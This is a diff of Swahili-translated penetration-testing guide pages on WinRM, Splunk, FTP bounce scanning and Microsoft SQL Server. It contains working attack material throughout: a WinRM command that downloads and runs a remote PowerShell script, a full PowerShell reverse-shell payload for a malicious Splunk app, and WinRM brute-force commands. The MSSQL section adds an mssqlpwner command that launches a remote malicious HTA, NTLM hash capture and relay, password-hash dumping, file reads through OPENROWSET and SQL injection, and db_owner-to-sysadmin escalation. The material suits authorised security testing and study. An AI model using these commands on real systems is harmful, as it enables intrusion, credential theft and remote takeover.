- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)

View File

@ -4,70 +4,70 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitambulisha kama kiolesura cha HTTP kwa operesheni za WMI.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitokeza kama kiolesura cha HTTP kwa shughuli za WMI.
Uwepo wa WinRM kwenye mashine unaruhusu usimamizi wa mbali kwa urahisi kupitia PowerShell, kama ilivyo kwa SSH kwa mifumo mingine ya uendeshaji. Ili kubaini ikiwa WinRM inafanya kazi, inashauriwa kuangalia ufunguzi wa bandari maalum:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Bandari iliyo wazi kutoka kwenye orodha hapo juu inaashiria kwamba WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali.
Bandari iliyo wazi kutoka orodha hapo juu inaashiria kuwa WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali.
### **Kuanzisha Kikao cha WinRM**
### **Kuanza Kikao cha WinRM**
Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta ili kukubali amri za mbali za PowerShell. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika:
```powershell
Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta kukubali amri za PowerShell za mbali. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatia kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" inaweza kuwa muhimu kwenye mashine ya mshambuliaji.
Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatiwa kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" inaweza kuwa muhimu kwenye mashine ya mshambuliaji.
Zaidi ya hayo, WinRM inaweza ku **anzishwa kwa mbali** kwa kutumia amri ya `wmic`, kama inavyoonyeshwa hapa:
```powershell
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Hii mbinu inaruhusu kuweka WinRM kwa mbali, ikiongeza ufanisi katika kusimamia mashine za Windows kutoka mbali.
### Jaribu ikiwa imewekwa
Ili kuthibitisha usanidi wa mashine yako ya shambulio, amri ya `Test-WSMan` inatumika kuangalia ikiwa lengo lina WinRM imewekwa ipasavyo. Kwa kutekeleza amri hii, unapaswa kutarajia kupokea maelezo kuhusu toleo la itifaki na wsmid, ikionyesha usanidi uliofanikiwa. Hapa chini kuna mifano inayoonyesha matokeo yanayotarajiwa kwa lengo lililo na usanidi dhidi ya lile lisilo na usanidi:
Ili kuthibitisha usanidi wa mashine yako ya shambulio, amri ya `Test-WSMan` inatumika kuangalia ikiwa lengo lina WinRM imewekwa ipasavyo. Kwa kutekeleza amri hii, unapaswa kutarajia kupokea maelezo kuhusu toleo la protokali na wsmid, ikionyesha usanidi uliofanikiwa. Hapa chini kuna mifano inayoonyesha matokeo yanayotarajiwa kwa lengo lililo na usanidi dhidi ya lile lisilo na usanidi:
- Kwa lengo ambalo **lime**wekwa ipasavyo, matokeo yataonekana kama ifuatavyo:
```bash
Test-WSMan <target-ip>
```
Jibu linapaswa kuwa na habari kuhusu toleo la itifaki na wsmid, ikionyesha kwamba WinRM imewekwa vizuri.
Majibu yanapaswa kuwa na habari kuhusu toleo la itifaki na wsmid, ikionyesha kwamba WinRM imewekwa vizuri.
![](<../images/image (582).png>)
- Kinyume chake, kwa lengo **sio** lililowekwa kwa WinRM, matokeo yatakuwa hakuna habari kama hiyo ya kina, ikionyesha ukosefu wa usanidi mzuri wa WinRM.
- Kinyume chake, kwa lengo **sio** lililowekwa kwa WinRM, hiyo itasababisha kutokuwepo kwa habari kama hizo za kina, ikionyesha ukosefu wa usanidi mzuri wa WinRM.
![](<../images/image (458).png>)
### Teua amri
Ili kutekeleza `ipconfig` kwa mbali kwenye mashine ya lengo na kuona matokeo yake fanya:
```powershell
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../images/image (151).png>)
Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako ya ndani na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya:
```powershell
Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Teua Skripti
```powershell
```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Pata reverse-shell
```powershell
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Pata kikao cha PS
Ili kupata shell ya PowerShell ya kuingiliana tumia `Enter-PSSession`:
```powershell
Ili kupata shell ya PowerShell ya mwingiliano tumia `Enter-PSSession`:
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -87,16 +87,16 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
**Kikao kitaendesha katika mchakato mpya (wsmprovhost) ndani ya "mhasiriwa"**
### **Kulazimisha WinRM Kufunguka**
### **Kulazimisha WinRM Kufunguliwa**
Ili kutumia PS Remoting na WinRM lakini kompyuta haijasanidiwa, unaweza kuifungua kwa:
```powershell
Ili kutumia PS Remoting na WinRM lakini kompyuta haijawekwa, unaweza kuikamilisha kwa:
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Saving and Restoring sessions
Hii **haitaweza kufanya kazi** ikiwa **lugha** ime **punguzia** kwenye kompyuta ya mbali.
```powershell
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -107,8 +107,8 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Ndani ya kikao hiki unaweza kupakia PS scripts ukitumia _Invoke-Command_
```powershell
Katika kikao hiki unaweza kupakia skripti za PS ukitumia _Invoke-Command_
```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Makosa
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
### Brute Force
Kuwa makini, brute-forcing winrm inaweza kuzuia watumiaji.
Kuwa makini, brute-forcing winrm kunaweza kuzuia watumiaji.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
Soma **nyaraka** kwenye github yake: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Soma **nyaraka** zake kwenye github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Kutumia skripti ya ruby
### Kutumia script ya ruby
**Msimbo umetolewa kutoka hapa:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby

View File

@ -2,12 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
## **Taarifa za Msingi**
## **Msingi wa Taarifa**
- Zana ya uchambuzi wa log inayotumika kwa ukusanyaji wa data, uchambuzi, na uonyeshaji
- Inatumika sana katika ufuatiliaji wa usalama na uchambuzi wa biashara
- Bandari za kawaida:
- Web server: 8000
- Seva ya wavuti: 8000
- Huduma ya Splunkd: 8089
### Njia za Uthibitishaji wa Uthibitisho:
@ -17,19 +17,19 @@
- Toleo la majaribio linabadilishwa kiotomatiki kuwa toleo la bure baada ya siku 60
- Toleo la bure halina uthibitisho
- Hatari ya usalama ikiwa halitashughulikiwa
- Wasimamizi wanaweza kupuuzilia mbali athari za usalama
- Wasimamizi wanaweza kupuuza athari za usalama
2. Udhaifu wa Akreditivu
- Toleo za zamani: Akreditivu za kawaida `admin:changeme`
- Toleo za kisasa: Akreditivu zinawekwa wakati wa usakinishaji
- Toleo za kisasa: Akreditivu huwekwa wakati wa usakinishaji
- Uwezekano wa matumizi ya nywila dhaifu (mfano, `admin`, `Welcome`, `Password123`)
3. Fursa za Utekelezaji wa Kanuni za Kijijini
3. Fursa za Utekelezaji wa Msimbo wa Kijijini
- Njia nyingi za utekelezaji wa kanuni:
- Njia nyingi za utekelezaji wa msimbo:
- Programu za Django upande wa seva
- Mipaka ya REST
- Ncha za REST
- Ingizo la skripti
- Skripti za arifa
- Msaada wa majukwaa tofauti (Windows/Linux)
@ -42,8 +42,8 @@ Uwezekano wa Ukatili Muhimu:
- Hifadhi ya data nyeti
- Ukosefu wa uthibitisho katika toleo la bure
- Njia nyingi za uwezekano wa utekelezaji wa kanuni za kijijini
- Uwezekano wa kutumia ingizo la skripti kwa ajili ya kuathiri mfumo
- Njia nyingi za uwezekano wa utekelezaji wa msimbo wa kijijini
- Uwezekano wa kutumia ingizo la skripti kwa kuathiri mfumo
### Shodan
@ -53,9 +53,9 @@ Uwezekano wa Ukatili Muhimu:
### Unda Programu Maalum
Splunk inatoa njia ya kisasa ya utekelezaji wa kanuni za kijijini kupitia usambazaji wa programu maalum, ikitumia uwezo wake wa skripti wa majukwaa tofauti. Mbinu ya msingi ya ukatili inahusisha kuunda programu mbaya inayoweza kutekeleza shell za kurudi kwenye mifumo ya Windows na Linux.
Splunk inatoa njia ya kisasa ya utekelezaji wa msimbo wa kijijini kupitia usambazaji wa programu maalum, ikitumia uwezo wake wa skripti za majukwaa tofauti. Mbinu ya msingi ya ukatili inahusisha kuunda programu mbaya inayoweza kutekeleza shell za kinyume kwenye mifumo ya Windows na Linux.
Programu maalum inaweza kukimbia **Python, Batch, Bash, au PowerShell scripts**. Zaidi ya hayo, **Splunk inakuja na Python iliyosakinishwa**, hivyo hata katika mifumo ya **Windows** utaweza kukimbia kanuni za python.
Programu maalum inaweza kukimbia **Python, Batch, Bash, au PowerShell scripts**. Zaidi ya hayo, **Splunk inakuja na Python iliyosakinishwa**, hivyo hata katika mifumo ya **Windows** utaweza kukimbia msimbo wa python.
Unaweza kutumia [**hii**](https://github.com/0xjpuff/reverse_shell_splunk) mfano na **`bin`** inayojumuisha mfano wa [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) na [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Au unaweza kuunda yako mwenyewe.
@ -73,13 +73,13 @@ Faili muhimu la usanidi `inputs.conf` linawezesha skripti kwa:
Kuweka ni rahisi:
1. Tengeneza kifurushi cha programu chenye madhara
1. Tengeneza kifurushi cha programu mbaya
2. Weka msikilizaji (Netcat/socat) kwenye mashine ya kushambulia
3. Pakia programu kupitia kiolesura cha Splunk
4. Washa utekelezaji wa skripti kiotomatiki baada ya kupakia
Mfano wa Windows PowerShell reverse shell:
```powershell
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
@ -105,7 +105,7 @@ pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumika vibaya ili kupandisha mamlaka na kupata kudumu:
Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumika vibaya ili kupandisha hadhi na kupata kudumu:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md

View File

@ -6,24 +6,24 @@
### Manual
1. Unganisha kwenye FTP iliyo hatarini
2. Tumia \*\*`PORT`\*\* au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha muunganisho na _\<IP:Port>_ unayotaka kuchunguza:
1. Unganisha na FTP iliyo hatarini
2. Tumia **`PORT`** au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha muunganisho na _\<IP:Port>_ unayotaka kuskan:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. Tumia **`LIST`** (hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba port iko wazi) au `425 No connection established` (Hii ina maana kwamba port imefungwa)
3. Tumia **`LIST`** (hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba bandari iko wazi) au `425 No connection established` (Hii ina maana kwamba bandari imefungwa)
1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Open/Close`.
Mfano Ukifanya Kazi na **PORT** (port 8080 ya 172.32.80.80 iko wazi na port 7777 imefungwa):
Mfano Ukitumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa):
![](<../../images/image (241).png>)
Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa kwenye picha):
Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa nje katika picha):
![](<../../images/image (539).png>)
Port wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti)
Bandari wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti)
![](<../../images/image (875).png>)

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** ni mfumo wa usimamizi wa **relational database** ulioendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Internet).
> **Microsoft SQL Server** ni mfumo wa usimamizi wa **relational database** ulioendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Intaneti).
**Default port:** 1433
```
@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server.
- **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi.
- **model Database**: Inatumika kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
- **Resource Database**: Database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika Resource database, vinawasilishwa kimaadili katika schema ya sys ya kila database.
- **model Database**: Inafanya kazi kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
- **Resource Database**: Hii ni database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika database ya Resource, vinawasilishwa kimaadili katika schema ya sys ya kila database.
- **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati.
## Enumeration
@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> Ikiwa **huna** **akreditif** unaweza kujaribu kuzikisia. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
> Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
#### Metasploit (inahitaji akreditif)
#### Metasploit (inahitaji vithibitisho)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -155,14 +155,14 @@ SELECT * FROM sysusers
```
#### Pata Ruhusa
1. **Securable:** Mambo yanayofafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa ajili ya udhibiti wa ufikiaji. Hizi zimegawanywa katika:
- **Server** Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
- **Database** Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na watumiaji.
- **Schema** Inajumuisha tables, views, procedures, functions, synonyms, n.k.
2. **Permission:** Inahusishwa na SQL Server securables, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
1. **Securable:** Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimeainishwa katika:
- **Server** Mifano ni pamoja na hifadhidata, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server.
- **Database** Mifano inajumuisha jukumu la hifadhidata, majukumu ya programu, muundo, vyeti, katalogi za maandiko kamili, na watumiaji.
- **Schema** Inajumuisha meza, maoni, taratibu, kazi, maneno ya kifupi, nk.
2. **Permission:** Inahusishwa na securables za SQL Server, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
- **Server Level** kwa kutumia logins
- **Database Level** kwa kutumia watumiaji
3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa database. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika roles zilizo na haki za ufikiaji.
3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa hifadhidata. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yaliyo na haki za ufikiaji.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Execute OS Commands
> [!CAUTION]
> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye `xp_cmdshell` stored procedure**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye utaratibu wa kuhifadhi `xp_cmdshell`**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
>
> ```sql
> Use master
@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Pata nywila zilizohashwa
```bash
SELECT * FROM master.sys.syslogins;
```
### Kununua NetNTLM hash / Shambulio la Relay
Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika uthibitishaji (`impacket-smbserver` au `responder` kwa mfano).
@ -260,7 +264,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia:
> Unaweza kuangalia ni nani (bila ya sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia:
>
> ```sql
> Use master;
@ -278,7 +282,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
### Kutumia Viungo vya Kuaminika vya MSSQL
[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:**
[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **ili kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -286,7 +290,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
### **Andika Faili**
Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuiwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -306,7 +310,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Soma faili na** OPENROWSET
Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo wa uendeshaji ambayo akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo:
Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -319,11 +323,11 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Read files executing scripts (Python and R)**
### **RCE/Kusoma faili kutekeleza scripts (Python na R)**
MSSQL inaweza kukuruhusu kuendesha **scripts katika Python na/au R**. Hizi code zitaendeshwa na **mtumiaji tofauti** na yule anayatumia **xp_cmdshell** kuendesha amri.
MSSQL inaweza kukuruhusu kutekeleza **scripts katika Python na/au R**. Hizi code zitatekelezwa na **mtumiaji tofauti** na yule anayetumia **xp_cmdshell** kutekeleza amri.
Mfano wa kujaribu kuendesha **'R'** _"Hellow World!"_ **haifanyi kazi**:
Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**:
![](<../../images/image (393).png>)
@ -343,7 +347,7 @@ GO
```
### Soma Usajili
Microsoft SQL Server inatoa **taratibu za kuhifadhi zilizopanuliwa** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server inatoa **taratibu za kuhifadhi zilizopanuliwa nyingi** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Kawaida** | **Inayojulikana kwa Kifaa** |
| --------------------------- | ------------------------------------ |
@ -370,13 +374,13 @@ Kwa **mfano zaidi** angalia [**chanzo asilia**](https://blog.waynesheffield.com/
### RCE na MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Msimamizi**.
Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Administrator**.
[**Fuata kiungo hiki**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) kuona mfano.
### RCE na `autoadmin_task_agents`
Kulingana na [**post hii**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama:
Kulingana[ **na chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
@ -438,7 +442,7 @@ Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [extended s
### Kutoka db_owner hadi sysadmin
Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi kwa **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**).
Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi vibaya ili **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,12 +481,12 @@ Unaweza kutumia moduli ya **metasploit**:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Au **PS** script:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Ujanja wa watumiaji wengine
### Ujumuishaji wa watumiaji wengine
SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kimalizike.
```sql
@ -522,7 +526,7 @@ Unaweza kufanya shambulio hili kwa kutumia moduli ya **metasploit**:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
au kwa kutumia **PS** script:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
@ -533,9 +537,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers
